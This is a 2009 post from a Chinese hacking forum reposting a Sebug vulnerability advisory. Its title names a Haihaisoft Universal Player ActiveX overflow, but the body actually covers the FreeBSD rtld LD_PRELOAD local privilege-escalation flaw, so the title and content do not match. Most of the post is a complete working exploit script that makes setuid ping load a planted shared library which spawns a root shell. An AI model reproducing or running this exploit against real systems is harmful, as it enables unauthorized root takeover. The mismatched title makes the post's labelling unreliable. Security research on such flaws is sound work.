注册
登录
论坛
搜索
插件
默认风格
默认风格_6hOY
D Dark
greenwall
jeans
fashion
私人消息 (0)
公共消息 (0)
论坛任务 (0)
系统消息 (0)
好友消息 (0)
帖子消息 (0)
【3.A.S.T】网络安全爱好者
»
黑客播报
» Haihaisoft Universal Player 'URL'属性ActiveX控件缓冲区溢出漏洞
返回列表
发帖
zclzhao
发短消息
加为好友
zclzhao
当前离线
UID
5935
帖子
781
精华
0
积分
1297
威望
1725
金钱
1537
阅读权限
100
在线时间
22 小时
注册时间
2009-4-7
最后登录
2011-1-17
3.A.S.T上校
帖子
781
积分
1297
威望
1725
金钱
1537
在线时间
22 小时
1
楼
跳转到
»
正序看帖
打印
字体大小:
t
T
发表于 2009-12-2 14:10
|
只看该作者
Haihaisoft Universal Player 'URL'属性ActiveX控件缓冲区溢出漏洞
Player
,
ActiveX
,
Haihaisoft
,
Universal
,
漏洞
影响版本:
FreeBSD 8.0-RELEASE
FreeBSD 7.1-RELEASE漏洞描述:
FreeBSD是一款开放源代码的基于BSD的操作系统。
FreeBSD包含的Run-Time Link-Editor (rtld)存在问题,本地攻击者可以利用漏洞获得root特权。
一般情况下,在执行类似"ping"或"su" setugid的程序时,RTLD不允许设置类似LD_PRELOAD这类的危险环境变量,不过存在漏洞可让rtld被诱使在setugid程序上接收LD变量,导致特权提升。<*参考
Kingcope (kcope2googlemail.com)
*>
测试方法:
[
www.sebug.net
]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so
0");
execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so
0 program.o -nostartfiles
cp w00t.so
0 /tmp/w00t.so.1.0
./env
SEBUG安全建议:
厂商解决方案
目前没有解决方案提供:
http://www.freebsd.org
收藏
分享
返回列表
【 新 手 入 门 】
初入江湖
有问必答
软件交流
程序设计
黑客播报
操作系统
Windows专区
Unix 专区
【 技 术 交 流 】
原创专区
QQ技巧
反黑知识
网站建设
教程发布
技术交流
免杀技术
0day发布
专题归类
私服技术
【 论 坛 水 区 】
被黑站点
激情灌水
极品贴图
开心乐园
影音专区
广告专区
【 论 坛 管 理 】
新人报到
论坛管理
勋章申请
[收藏此主题]
[关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]
全国地图
@@@ 加入本站会员 一个月月赚1200+的秘密@@@